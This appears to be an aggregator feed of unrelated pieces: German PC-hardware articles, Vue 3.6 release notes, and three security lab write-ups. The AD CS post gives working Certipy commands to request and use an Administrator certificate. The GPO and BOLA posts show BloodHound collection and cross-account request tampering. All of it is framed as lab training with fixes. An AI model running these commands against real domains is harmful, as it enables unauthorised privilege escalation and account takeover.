Als grobe Orientierung gilt: OCuLink liegt häufig im niedrigen einstelligen Prozentbereich, Thunderbolt 4 und USB4 können je nach Szenario deutlich mehr Leistung kosten. Ein verbreiteter Irrtum bleibt daher: Ein USB4-Port allein macht noch keinen guten eGPU-Host.

Ein Nachteil bleibt: OCuLink kennt kein Hot-Plug. Zum Verbinden oder Trennen muss der Rechner heruntergefahren werden. Und günstig ist das Setup nicht: Gehäuse, Grafikkarte und ein passendes Netzteil summieren sich. Wer ohnehin am Schreibtisch bleibt, fährt mit einem kompakten Desktop oft preiswerter.

Kühlung und Wärmeleitpaste

Ein Mini-PC lebt von kompakter Bauweise. Das hat seinen Preis bei der Kühlung. Wer das Gehäuse ohnehin geöffnet hat, kann die Wärmeleitpaste erneuern. Bei älteren Geräten bringt das ein paar Grad weniger und einen ruhigeren Lüfter. Ein Pflichtprogramm ist es nicht. Wer sich unsicher fühlt, lässt die Finger davon. Wer zu viel Wärmeleitpaste verwendet oder Bauteile beim Zerlegen beschädigt, schafft schnell mehr Probleme, als er löst.

Betriebssystem und BIOS

Auch ohne neue Hardware lässt sich Tempo gewinnen. Ein aktuelles BIOS behebt Fehler und gibt manchmal höhere RAM-Taktraten frei. Vor dem Update sollten Sie aber das exakte Modell prüfen, die Herstellerhinweise lesen und den Vorgang nicht bei instabiler Stromversorgung starten.

Wer Windows als Bremse empfindet, kann ein schlankes Linux installieren. Das weckt gerade ältere Mini-PCs neu auf. Beides kostet kein zusätzliches Geld, verlangt aber Vorbereitung und etwas Zeit.

Wo die Grenzen liegen

Drei Dinge bleiben bei den meisten Mini-PCs praktisch ausgeschlossen. Der Prozessor ist verlötet und nicht zu tauschen. Die integrierte Grafik hängt am Prozessor und teilt sein Schicksal. Und die maximale RAM-Kapazität legt das Board fest, nicht der gute Wille. Wer an diese Wände stößt, steht vor der Frage nach einem neuen Gerät – nicht vor einem Upgrade.

Was sich lohnt – und was nicht

Unterm Strich zeichnet sich eine klare Rangfolge ab. Mehr RAM bringt für wenig Geld viel und bleibt der erste Griff, sofern ein Sockel verbaut ist. Eine größere oder schnellere SSD schafft Platz und Reserven. Das WLAN-Modul lohnt sich nur mit passender Gegenstelle. Eine eGPU kann den Mini-PC deutlich spieletauglicher machen, verlangt aber Anschluss, Geld und einen festen Platz. Prozessor und Grafikeinheit können nicht angerührt werden.

Der wichtigste Schritt steht vor dem Kauf: Wer später aufrüsten will, prüft Sockel, Steckplätze und Anschlüsse im Datenblatt. Ein Mini-PC mit zwei RAM-Slots, zusätzlichem M.2-Steckplatz und OCuLink-Port lässt viele Aufrüstoptionen offen. Ein flaches Modell mit verlötetem Speicher bleibt dagegen weitgehend auf dem Stand des ersten Tages.

What is AD CS?

Active Directory Certificate Services (AD CS) allows users and computers to obtain certificates for authentication, encryption, and other services.

If certificate templates are misconfigured, attackers can request certificates for other users, including Domain Administrators, leading to privilege escalation.

In this lab, I exploited an ESC1 certificate template misconfiguration.

Lab Setup

• Domain: LAB.LOCAL
• Domain Controller: 192.168.56.104
• Certificate Authority: lab-DC1-CA
• Attacker: bob

Step 1 — Enumerate AD CS

First, I looked for vulnerable certificate templates using Certipy.

certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -dc-host DC1.lab.local -target DC1.lab.local -ldap-scheme ldap -vulnerable -debug

Certipy identified a vulnerable template named:

ESC1-Lab

This template allowed the requester to specify an arbitrary User Principal Name (UPN).

Step 2 — Request an Administrator Certificate

Since the template was vulnerable, I requested a certificate while impersonating the Administrator account.

certipy-ad req -u bob@lab.local -p 'Password@123' -ca lab-DC1-CA -template ESC1-Lab -upn Administrator@lab.local -dc-ip 192.168.56.104

Certipy successfully issued an Administrator certificate and saved it as:

administrator.pfx

Step 3 — Authenticate as Administrator

Finally, I authenticated using the issued certificate.

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.104

Authentication succeeded, allowing me to impersonate the Domain Administrator without ever knowing the Administrator’s password.

Why Did This Work?

The certificate template was vulnerable to ESC1 because it:

• Allowed users to enroll.
• Allowed the requester to supply any UPN.
• Was trusted for client authentication.

This meant Bob could request a certificate for Administrator@lab.local and authenticate as that user.

How to Fix It

To prevent ESC1 attacks:

1.Disable “Supply in the request” unless absolutely necessary.

2. Restrict enrollment permissions to trusted users.

3. Review certificate templates regularly.

4. Remove unnecessary Client Authentication EKUs.

5. Audit AD CS with tools like Certipy and BloodHound.

Verify the Fix

Run the enumeration again.

certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -vulnerable

If the template is properly secured, ESC1-Lab should no longer appear as vulnerable.

Key Takeaways

1. Regularly audit AD CS templates.

2. Follow the principle of least privilege.

3. Restrict certificate enrollment permissions.

4. Monitor certificate enrollment events.

Disclaimer: This article is part of my Active Directory Lab Series. All demonstrations were performed in my self-hosted GOAD lab for educational and defensive purposes. Never perform these techniques on systems without proper authorization.

— Written by

Aruvasaga Chithan A

Ethical Hacker & Cyber Security Researcher.

Thanks for reading — your support keeps me writing.
See you in the next article…

Linkedin.

How I Escalated to Domain Admin Using AD CS (And How to Fix It) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Group Policy Objects (GPOs) are one of the most powerful features in Active Directory. They allow administrators to manage settings across computers and users.

But if the wrong user has control over a GPO, it can become an easy privilege escalation path.

In this lab, I’ll use BloodHound to identify a dangerous GPO permission and then show how to fix it.

Lab Setup

• Domain: LAB.LOCAL
• Domain Controller: 192.168.56.104
• Attacker: Kali Linux
• User: bob

Step 1 — Collect Active Directory Data

First, I collected information from Active Directory using BloodHound.py.

bloodhound-python -u bob -p 'password@123' -d lab.local -ns 192.168.56.104 -c All --zip

BloodHound successfully collected:

• 8 Users
• 55 Groups
• 3 GPOs
• 2 OUs
• 1 Computer

Step 2 — Import into BloodHound

Next, I uploaded the generated ZIP file into BloodHound Community Edition.

BloodHound maps relationships between users, groups, computers, OUs, and GPOs, making it much easier to spot privilege escalation paths.

Step 3 — Finding the Misconfiguration

BloodHound showed that Bob had WriteDacl, WriteOwner, and GenericWrite permissions over the Employees Policy GPO.

These permissions are dangerous because they allow a user to modify who controls the GPO or change its configuration.

Why Is This Dangerous?

If an attacker can edit a GPO linked to an Organizational Unit (OU), they may be able to:

• Execute scripts on domain computers
• Deploy scheduled tasks
• Add users to local Administrators
• Push malicious registry changes
• Gain higher privileges across the domain

A single misconfigured GPO can impact many systems at once.

Step 4 — Fixing the Issue

On the Domain Controller:

Group Policy Management
        ↓
Employees Policy
        ↓
Delegation

Review who has permissions on the GPO.

Remove unnecessary permissions such as:

• GenericWrite
• misconfiguredWriteDacl
• WriteOwner

Only trusted administrators should have these rights.

Verify the Fix

Run BloodHound again after updating the permissions.

bloodhound-python -u bob -p 'password@123' -d lab.local -ns 192.168.56.104 -c All --zip

Re-import the ZIP into BloodHound.

The dangerous permission edges should no longer appear for Bob.

Key Takeaways

1.Regularly audit GPO permissions.

2. Use the principle of least privilege.

3. Review BloodHound findings periodically.

4. Remove unnecessary GenericWrite, WriteDacl, and WriteOwner permissions.

Disclaimer: The techniques demonstrated in this article were performed in a private Active Directory lab for learning purposes. Always obtain proper authorization before testing any production environment.

— Written by

Aruvasaga Chithan A

Ethical Hacker & Cyber Security Researcher.

Thanks for reading — your support keeps me writing.
See you in the next article…

Linkedin.

How I Abused a Group Policy Object (GPO) in Active Directory (And How to Fix It) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

There’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually did. For me, that moment was watching one user’s card get funded by another user’s session — no exploit chain, no payload, just a number in a URL that should never have worked.

This is the walkthrough of how I found (and rigorously confirmed) a Broken Object Level Authorization vulnerability in VulnBank, an intentionally vulnerable banking application built for security training.

What Is BOLA, Actually?

Broken Object Level Authorization sits at #1 on the OWASP API Security Top 10 (API 1: 2023), and for good reason — it’s common, trivial to exploit, and quietly devastating.

The core idea in one sentence: the server correctly checks who you are, but never checks what you’re allowed to touch.

Any API endpoint that takes an object identifier — a card_id, account_number, order_id — needs to answer two separate questions:

1. Authentication: is this a valid, logged-in user?
2. Authorization: should this specific user be allowed to access this specific object?

BOLA is what happens when an API nails question one and skips question two entirely. Usually it’s one missing clause in a query.

The vulnerable version:

SELECT * FROM cards WHERE id = :card_id

The fixed version:

SELECT * FROM cards WHERE id = :card_id AND user_id = :authenticated_user_id

That’s genuinely the whole difference and because it never breaks anything during normal use (your own IDs always belong to you), it hides in plain sight until someone deliberately tries an ID that isn’t theirs.

So that’s exactly what I did — with two accounts, on purpose, so I could prove it beyond doubt rather than just suspect it.

Setting the Stage: Two Users, Two Cards

Testing BOLA against yourself proves nothing — you always have legitimate access to your own resources. So I set up two separate accounts to simulate a real attacker/victim scenario.

User 1 — Jhonny

• I created a virtual card with a $2,500 limit.

• I then funded it with $80 from the main balance.

With the funding request captured in Burp Suite, I sent it to Repeater for closer inspection, this is the request whose card_id parameter would become the centerpiece of the whole test.

User 2 — Alex

Same setup:

• A fresh virtual card of $2,500 limit.

• Funded with $100.

• And the same treatment — captured the request and sent it to Repeater.

Two accounts, two cards, two independent funding requests sitting side by side. Now the real test could begin.

Step One: Does the App Even Check Who You Are?

Before hunting for authorization flaws, I checked the basics. I stripped the session cookie and Authorization header from a funding request entirely and sent it.

401 Unauthorized: "Token is missing."

Good! The server clearly enforces authentication. That ruled out the simplest failure mode and pointed straight at the real question: does it check which authenticated user is making the request, or just that one is?

Step Two: The Swap

This is the actual test, and it’s almost anticlimactic in how simple it is.

I took Jhonny’s valid token and used it to fund Alex’s card:

200 OK. The card funded successfully with Jhonny's session authorizing a change to Alex's card.

Then I reversed it, Alex’s token, aimed at Jhonny’s card:

200 OK again. Same result, opposite direction.

Neither request was rejected. The server verified that a valid token was present but never verified that the token holder actually owned the card they were funding. It simply processed whatever card_id showed up in the URL, against whichever authenticated user happened to be making the call.

Why This Isn’t “Just a Feature”

The first pushback any BOLA finding gets is: “Couldn’t this just be an intentional transfer feature?”

It’s a fair question, and worth addressing directly.

The answer is NO, for a few concrete reasons:

• There was no recipient search, no username/email lookup, no way to intentionally select another user through the interface.
• Neither Jhonny nor Alex received any notification or gave any consent.
• The card IDs used were never exposed to either user by the application itself, they were reached only by directly editing a request in Burp, not by anything the UI ever presented as selectable.
• Both requests used each user’s own main balance and own token throughout, nothing about the flow resembled a designed transfer mechanism.

A designed feature has guardrails: consent steps, recipient verification, fraud checks. This had none of that, because it was never meant to be reachable in the first place.

The Fix

The remediation here is almost anticlimactic given the impact. This isn’t a hard problem to solve, just an easy one to forget:

• Every object-level query needs an explicit ownership check tied to the authenticated session: WHERE card_id = ? AND user_id = ?
• Better yet, enforce this centrally, an authorization layer or middleware that every object-fetching endpoint routes through, rather than relying on each developer to remember it per-endpoint
• Make cross-account testing a standard part of QA and code review: test with two different authenticated accounts against each other’s objects, not just each account against its own.

The Takeaway

BOLA doesn’t require exotic tooling or deep exploit development. It requires one thing: noticing that an ID in a URL is just a number, and asking whether the server actually checked if you were allowed to use it.

In this case, it hadn’t. Two independent accounts, each fully authenticated, could reach into each other’s resources without so much as a warning.

Authentication tells a server who is asking. Authorization is the separate and often forgotten question of what they’re allowed to ask for?. Every API needs both, and it’s worth checking, endpoint by endpoint, that yours actually has them.

This testing was performed against VulnBank, an intentionally vulnerable application built for security education and training purposes.

I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

3.6 also includes a major refactor of @vue/reactivity based on alien-signals, which significantly improves the reactivity system's performance and memory usage.

For more details about Vapor Mode, see the About Vapor Mode section later in this release note.

Bug Fixes

• hydration: avoid resolving inherited fallback in forwarded slots (4c215b5)
• hydration: remove adopted SSR DOM for unresolved async setup (3859af4)
• runtime-vapor: avoid patching invalid VNode slot content (25f5a8a)
• runtime-vapor: clean up detached slot branches (b41009d)
• runtime-vapor: defer slot content anchors during hydration (9b9e4bd)
• runtime-vapor: preserve outer pending slot anchors (4af4bf9)
• runtime-vapor: preserve slot content anchors during mismatch recovery (26f90b5)
• runtime-vapor: preserve v-show transition on vdom child (#15074) (fe882c9), closes #15073
• runtime-vapor: preserve vapor slot owner during interop slot dry run (#15031) (340630e)
• runtime-vapor: preserve VNode anchors in dynamic component hydration (898e2ca)
• runtime-vapor: remove unsafe slot dry runs from vdom interop (#15089) (3d42cdf), closes #14793
• runtime-vapor: reuse hydration anchor candidates (06778e7)
• vapor: handle v-if and v-show on transition roots (#15069) (8f62f2e), closes #15068

About Vapor Mode

Vapor Mode is a new compilation mode for Vue Single-File Components (SFCs) with the goal of reducing baseline bundle size and improving performance.

It is 100% opt-in and supports a subset of existing Vue APIs with mostly identical behavior. Features that depend on VNodes or the component public instance proxy are not available in Vapor components.

Vapor Mode has demonstrated the same level of performance as Solid and Svelte 5 in third-party benchmarks.

General Stability Notes

Vapor Mode is feature-complete in Vue 3.6 RC. For now, we recommend using it in the following cases:

• Partial usage in existing apps, such as implementing a performance-sensitive page in Vapor Mode.
• Building small new apps entirely in Vapor Mode.

Opting In to Vapor Mode

Vapor Mode supports template-only SFCs and SFCs using <script setup>; the Options API is not supported. The following forms are supported:

<script setup vapor>
// ...
</script>

<script vapor> is shorthand for <script setup vapor>:

<script vapor>
// ...
</script>

The vapor marker can also be placed on the template, enabling Vapor compilation for the entire SFC:

<template vapor>
  <!-- ... -->
</template>

Creating an App and Using VDOM Interop

Pure Vapor Applications

Applications composed entirely of Vapor components can use createVaporApp():

import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')

Apps created this way avoid pulling in the Virtual DOM runtime code and allow the baseline bundle size to be drastically reduced.

Enabling VDOM Interop

To use Vapor components in a VDOM app instance created via createApp(), the vaporInteropPlugin must be installed:

import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App).use(vaporInteropPlugin).mount('#app')

A Vapor app instance can also install vaporInteropPlugin to allow VDOM components to be used inside, but this pulls in the VDOM runtime and offsets the benefits of a smaller bundle.

Components authored with render functions or JSX remain VDOM components and also require interop when used in a Vapor application.

When the interop plugin is installed, Vapor and non-Vapor components can be nested inside each other. This currently covers standard props, events, and slots usage, but does not yet account for all possible edge cases. For example, there may still be rough edges when using a VDOM-based component library in Vapor Mode.

In general, we recommend having distinct regions in an app where one rendering mode or the other is used, and avoiding mixed nesting as much as possible.

Feature Compatibility

By design, Vapor Mode supports a subset of existing Vue features. For the supported subset, we aim to deliver the same behavior according to the API specifications. The following features are currently unsupported or do not apply to Vapor Mode:

• Options API
• app.config.globalProperties
• getCurrentInstance() returns null in Vapor components
• @vue:xxx per-element lifecycle events
• v-memo
• Component template refs do not expose properties such as $el, $props, $attrs, $slots, and $refs

Important Usage Considerations

Event Delegation and stopPropagation()

Vapor delegates eligible events to document. Each element stores its own handler, and a single document listener walks the event path and invokes matching handlers.

If any ancestor calls stopPropagation(), the event never reaches document, and the delegated handler will not run.

The following forms bypass delegation and attach the listener directly to the element:

<button @[event]="onClick" />
<button v-bind="{ onClick }" />
<button v-on="{ click: onClick }" />

slots.default() Is Not a Safe Dry Run

In Vapor, slots.default() is not a side-effect-free inspection API. Calling it executes the slot's rendering logic, which may create Blocks and DOM nodes, register reactive effects, and claim existing SSR DOM during hydration.

Do not call a slot to inspect its output before deciding what else to render:

<script setup vapor>
import { useSlots } from 'vue'

const slots = useSlots()
const content = slots.default?.()
const showFallback = !content
</script>

<template>
  <div v-if="showFallback">Fallback</div>
</template>

Instead, leave slot rendering to the template:

<template>
  <slot />
</template>

Custom Directives Use a Different Interface

Custom directives in Vapor also have a different interface:

type VaporDirective = (
  node: Element | VaporComponentInstance,
  value?: () => any,
  argument?: string,
  modifiers?: DirectiveModifiers,
) => (() => void) | void

value is a reactive getter that returns the binding value. Reactive effects can be set up using watchEffect() and are automatically released when the component unmounts. A directive may also return a cleanup function:

const MyDirective = (el, source) => {
  watchEffect(() => {
    el.textContent = source()
  })
  return () => console.log('cleanup')
}

Behavior Consistency

Vapor Mode attempts to match VDOM Mode behavior as much as possible, but minor inconsistencies may still exist in edge cases because the two rendering modes are fundamentally different. In general, a minor inconsistency is not considered a breaking change unless the behavior has previously been documented.

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

Dieser Beitrag OpenSSL „HollowByte“: 11-Byte-TLS-Anfragen frieren Server-Speicher ein erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung für weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach KI-Beschleunigern saugt die Produktionskapazitäten der großen Halbleiterfertiger leer – Besserung ist erst einmal nicht in Sicht. Für Endverbraucher bedeutet das: Wer jetzt einen neuen Desktop-PC braucht, sieht sich mit einem äußerst angespannten Markt konfrontiert.

PROMOTION

Ihr Laptop kann nur ein Ding? Dieses 2-in-1-Modell passt sich Ihrem Workflow an

Das HP OmniBook 5 Flip bietet dank 360°-Scharnier vier Nutzungsmodi – vom klassischen Laptop bis zum Tablet. Der Intel® Core™ 7 Prozessor sorgt für flüssiges Arbeiten im Alltag. Das 14 Zoll 2K-Touchdisplay (1.920 x 1.200) stellt Inhalte gestochen scharf dar, 16 GB RAM und 512 GB SSD bieten Leistung und Platz für Ihre Projekte. Die Fast-Charge-Funktion bringt Sie schnell zurück auf 50 % Akkuladung.

Erfahren Sie mehr über das HP OmniBook 5 Flip

Gleichzeitig ist die technische Verlockung groß: Mit Nvidias Blackwell-Architektur (RTX 50-Serie) und AMDs effizienten Ryzen-9000-Prozessoren stehen technologische Schwergewichte in den Regalen, die einen massiven Leistungssprung versprechen. Lohnt sich also das Warten auf bessere Preise? Die klare Antwort lautet: Nein, zumindest nicht in absehbarer Zeit. Wer jetzt einen neuen PC braucht, muss nicht warten – sollte aber clever konfigurieren, um die aktuellen Stolpersteine der Industrie zu umschiffen.

Foundry

Drei Beispiel-Konfigurationen: Für jeden Anspruch das richtige Setup

Die strategischen Fragen sind geklärt, wir machen uns ans Eingemachte. In den folgenden drei Setups listen wir die besten Kernkomponenten für ein optimales Preis-Leistungsverhältnis auf. Um Ihnen maximale Flexibilität zu ermöglichen, nennen wir innerhalb der Konfigurationen unterschiedliche Komponenten: So können Sie je nach persönlicher Vorliebe gezielt den Preis beeinflussen, mehr Leistung herausholen oder zwischen AMD und Intel wechseln, wenn sich das sinnvoll anbietet.

Konfiguration 1: Der Office- und Alltags-PC

AMD

Konfiguration 1: Zuverlässigkeit, leiser Betrieb und strikte Budgetkontrolle

Fürs Home-Office, Webbrowsing und die gelegentliche Medienwiedergabe braucht es keine teure High-End-Hardware. Hier greift der erwähnte DDR4-Rettungsanker: Durch den bewussten Verzicht auf die neueste Plattform lassen sich Hunderte Euro sparen. Ein zusätzlicher Vorteil dieser Konfiguration ist ihre Zuverlässigkeit: Die Plattform ist ausgereift, günstig und bietet mehr als genug Leistung für typische Office- und Alltagsanwendungen.

• Preisrahmen: ca. 600 – 700 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: AMD Ryzen 5 5600G – Sechs Kerne und eine starke integrierte Grafikeinheit (iGPU). Keine extra Grafikkarte nötig.
  • Alternative: Intel Core i3-14100 – Reicht für reine Office-Arbeiten ebenfalls völlig aus. Wichtig: Achten Sie darauf, nicht aus Versehen die 14100F-Variante zu kaufen, weil dieser Version die Grafikeinheit fehlt.
• Mainboard: Gigabyte B550M DS3H (für AMD) oder Asus Prime B760M-K D4 (für Intel). Beide Boards setzen auf den günstigeren DDR4-Standard. Trotz des niedrigen Preises bieten sie alle wichtigen Anschlüsse für den Alltag, darunter schnelle USB-Ports, M.2-Steckplätze für NVMe-SSDs und genügend Erweiterungsmöglichkeiten für spätere Upgrades.
• Arbeitsspeicher (RAM): 16 GB DDR4-3200 (z.B. Patriot Memory Viper Elite II DDR4 2x8GB, CL18). Dieser Arbeitsspeicher ist für flüssiges Arbeiten und Multitasking völlig ausreichend. Selbst bei zahlreichen geöffneten Browser-Tabs, Videokonferenzen und Office-Anwendungen gleichzeitig geraten 16 GB nur selten an ihre Grenzen.
• Speicherplatz: 500 GB PCIe 4.0 NVMe SSD (z.B. Crucial P310 SSD 500GB M.2 NVMe). Die SSD sorgt für blitzschnelle Boot- und Zugriffszeiten. Wer viele Fotos, Videos oder große Dokumentensammlungen lokal speichert, sollte direkt zur 1-TB-Variante greifen.
• Gehäuse: Das Montech Air 100 ist ein kompaktes Micro-ATX-Gehäuse, das für rund 70 Euro vorbildlich verarbeitet ist. Es bietet ab Werk vorinstallierte Lüfter und eine Mesh-Front für leisen, kühlen Betrieb.
• Netzteil: Mit 450 Watt sind Sie in diesem Segment bestens bedient. Sie können zum Beispiel zum be quiet! System Power 11 450W greifen – das ist ein grundsolides und effizientes Netzteil, das mit seiner moderner ATX-3.1-Zertifizierung zukunftssicher ist. Weil bei diesem Setup keine separate Grafikkarte versorgt werden muss, bleiben die Leistungsreserven selbst unter Last komfortabel.
  
  

Konfiguration 2: Casual-Gaming und Videoschnitt-PC

Asus

Wer aktuelle Spiele flüssig genießen oder mit Adobe Premiere und DaVinci Resolve kreativ werden möchte, kommt um die aktuelle Hardware-Generation nicht herum – das beinhaltet aber auch den derzeit teuren DDR5-RAM. Dafür gibt es starke Leistung und hervorragende Effizienz.

• Preisrahmen: ca. 1.800 – 2.100 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: Der Intel Core Ultra 5 245KF bietet derzeit ein attraktives Preis-Leistungs-Verhältnis. Für rund 150 Euro liefert der moderne 14-Kerner reichlich Leistung für flüssiges 1440p-Gaming und anspruchsvolle Videoschnitt-Projekte.
  • Alternative: Der AMD Ryzen 7 9700X ist eine hocheffiziente 8-Kern-CPU von AMD. Sie verbraucht unter Volllast etwas weniger Strom und bietet beim Gaming minimale Vorteile, ist aktuell im Handel aber etwas teurer.
• Mainboard: Das Asus TUF Gaming Z890-Plus (für Intel) oder das MSI MAG B650 Tomahawk WiFi (für AMD). Beide bieten moderne PCIe-Slots und solide Kühlung für die Spannungswandler.
• Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Angesichts der aktuellen Marktlage ist das eine Investition (450 Euro), die sich für flüssigen 4K-Videoschnitt und moderne Spiele aber auszahlt.
• Grafikkarte (GPU):
  • Standard: Nvidia GeForce RTX 5060 mit 8 GB (z.B. Asus Prime GeForce RTX 5060 8GB OC Edition). Diese Karte ist eine solide Wahl für klassisches 1440p-Gaming, die dank NVENC-Encoder sowie DLSS 4 auch für Content Creation gut geeignet ist. 8-GB-VRAM reichen für die meisten aktuellen Titel aus, können bei anspruchsvollen AAA-Spielen aber zum Flaschenhals werden. Für spürbar mehr Leistungsreserven im 1440p-Gaming können Sie auch zum Ti-Modell greifen (+ 80 Euro).
  • Preis-Alternative: AMD Radeon RX 9060 XT mit 8 GB (z.B. Gigabyte Radeon RX 9060 XT 8GB). Wer ein reines AMD-System bevorzugt, kann zu diesem aktuellen RDNA-4-Modell greifen. Für rund 300 Euro bietet sie hervorragende native Rasterleistung in 1440p und moderne KI-Upscaling-Features.
• Speicherplatz: 2 TB PCIe 4.0 NVMe SSD (z.B. WD_BLACK SN850X NVMe SSD). Moderne Videoprojekte sind äußerst speicherintensiv. Diese schnelle NVMe-SSD bietet reichlich Kapazität und sorgt für verzögerungsfreie Arbeitsabläufe.
• Gehäuse: Fractal Design North XL – ein echter Ästhetik-Hingucker. Mit einer Front aus Walnuss- oder Eichenholz fügt es sich elegant ins Zimmer ein. Dabei bietet es genug Platz und Airflow auch für Komponenten mit hoher Wärmeentwicklung.
• Netzteil: 750 Watt ATX 3.1 (z.B. Seasonic Focus GX ATX 3.1) – Dieses Netzteil bietet den modernen 12V-2×6-Anschluss für RTX-Karten und genügend Puffer für Leistungsspitzen.
  
  

Konfiguration 3: High-End-System für Gaming und Content Creation

Gigabyte

Dieses System ist für Enthusiasten konzipiert, die im Grafikmenü keine Kompromisse eingehen wollen. Hier zählt pure, ungebremste Leistung. Hinweis: Die große Preisspanne dieser Konfiguration ergibt sich vor allem durch die Wahl der Grafikkarte.

• Preisrahmen: 3.300 – 7.200 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: AMD Ryzen 9 9900X3D – Dank des aufgestockten 3D-V-Cache gehört diese CPU zu den schnellsten Gaming-Prozessoren überhaupt. Sie verspricht maximale Framerates auch in modernen und anspruchsvollen Spielen.
  • Günstigere Alternative: AMD Ryzen 9 9900X – minimal langsamer in Spielen, aber ein absolutes Kraftpaket, falls der PC primär für 3D-Rendering, simulationslastige Anwendungen oder rechenintensiven Videoschnitt genutzt wird.
• Mainboard: Asus ROG Strix X870E-E Gaming – Ein ATX-Powerhouse für den Sockel AM5. Das Board wurde entwickelt, um das Potenzial der AMD-Ryzen-9000er-Serie voll auszuschöpfen. Mit zwei nativen USB4-Anschlüssen, Wi-Fi 7 und voller PCIe‑5.0‑Unterstützung bietet es moderne Konnektivität.
• Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Auch im High-End-Segment bringen 64 GB beim reinen Gaming kaum messbare Vorteile. Das Budget ist in der Grafikkarte besser investiert. Nur wer sein System professionell nutzt – etwa für aufwendige 4K-Videobearbeitung oder intensives 3D-Rendering, greift zum 64-GB-Kit und muss den Preissprung zwangsläufig hinnehmen.
• Grafikkarte (GPU):
  • Standard: Nvidia GeForce RTX 5080 mit 16 GB (z.B. MSI GeForce RTX 5080 16GB GDDR7) – Das Werkzeug für kompromissloses 4K-Gaming. Sie bewältigt selbst rechenintensives Path-Tracing ohne Einknicken und korrigiert mit den 16 GB schnellem GDDR7-Videospeicher endlich den Geiz vergangener Nvidia-Tage – was man sich allerdings auch teuer erkauft.
  • Highend-Alternative: Nvidia GeForce RTX 5090 mit 32 GB (z.B. Gigabyte Aorus GeForce RTX 5090 32 GB GDDR7). Das absolute Spitzenmodell im Consumer-Markt. Die Grafikkarte richtet sich an Enthusiasten, die für maximale Workstation-Leistung oder extremes 4K-Path-Tracing die höchste Ausbaustufe anpeilen und bereit sind, den entsprechenden Premium-Preis zu zahlen.
• Speicherplatz: 2 bis 4 TB PCIe 5.0 NVMe SSD (z.B. Crucial T710 SSD 4TB M.2 NVMe PCIe 5.0) – Für kürzeste Ladezeiten dank DirectStorage: Diese Technologie erlaubt es der Grafikkarte, Spieldaten ohne Umweg über die CPU direkt von der SSD zu laden.
• Gehäuse:
  
  • Standard: be quiet! Shadow Base 800 FX Black – ein geräumiger Full-Tower, der ab Werk mit vier Light-Wings-140mm-PWM-Lüftern und einer integrierten Lüfter-Steuerung geliefert wird. Das Gehäuse bietet ausreichend Platz für große 420-mm-Radiatoren und überlange Grafikkarten.
  • Design-Alternative: Lian Li O11 Dynamic EVO XL – Ein modularer Full-Tower, der sich spiegelverkehrt aufbauen lässt. Durch die abnehmbare Ecksäule bietet das Gehäuse freien Einblick auf die Hardware. Es fasst E-ATX-Mainboards, Grafikkarten bis 460 mm Länge und erlaubt die gleichzeitige Montage von bis zu drei 420-mm-Radiatoren für aufwendige Wasserkühlungen.
• Netzteil: 1000 Watt ATX 3.1 (z.B. Corsair RMx Shift oder be quiet! Straight Power 12). Die RTX-50-Serie kann unter Last eine hohe Leistungsaufnahme erreichen. Ein hochwertiges 1000-Watt-Netzteil mit ATX-3.1-Unterstützung bietet dafür ausreichende Reserven.

Ihre Kauf-Checkliste für 2026

Anucha Tiemsom/Shutterstock.com

Bevor Sie Ihre Komponenten in den Warenkorb legen, sollten Sie diese Punkte noch einmal kritisch prüfen. Hier verstecken sich die häufigsten Fehler beim PC-Kauf:

• Airflow bei Gaming-Systemen beachten: Moderne Komponenten arbeiten zwar immer effizienter, trotzdem gilt: Je mehr Leistung, desto mehr Abwärme. Gerade für High-End-Setups sollten Sie Gehäuse mit geschlossener Glas- oder Plastikfront deswegen eher meiden. Eine offene Mesh-Front sorgt für frische Luft, hält die Temperaturen niedrig und ermöglicht es den Gehäuselüftern, auch unter Last angenehm leise zu arbeiten.
• HDD stirbt langsam aus: Für Betriebssystem, Programme und Spiele haben HDDs ausgedient. Mechanische Festplatten lohnen sich heute vor allem noch als günstiger Datenspeicher für Backups und große Medienarchive – alles andere macht die SSD.
• Netzteil-Standards beachten: Neue Grafikkarten benötigen moderne Anschlüsse und eine stabile Absicherung gegen Spannungsspitzen. Achten Sie beim Netzteilkauf auf die neue ATX-3.1-Zertifizierung.
• RAM-Sweetspot treffen: Greifen Sie maximal zu DDR5-6000-Speicher. Alles darüber hinaus macht Ihr neues Setup deutlich teurer, liefert in der Praxis aber kaum einen spürbaren Mehrwert.
• Mainboard-Features geschickt wählen: Bezahlen Sie nicht für Anschlüsse, die Sie nie nutzen. Wer einen PC ohnehin per LAN-Kabel mit dem Router verbindet, braucht z.B. kein Modell mit integriertem Wi-Fi 7.
• Kühlung richtig dimensionieren: Für Mittelklasse-Prozessoren (wie den Ryzen 5 9600X) reicht ein solider Tower-Luftkühler für 40 Euro oft aus. Teure Komplettwasserkühlungen (AiOs) sind erst im High-End-Segment sinnvoll – oder wenn Sie der Gehäuse-Optik besonderes Augenmerk schenken wollen.

Fazit: Clever kaufen trotz Krise

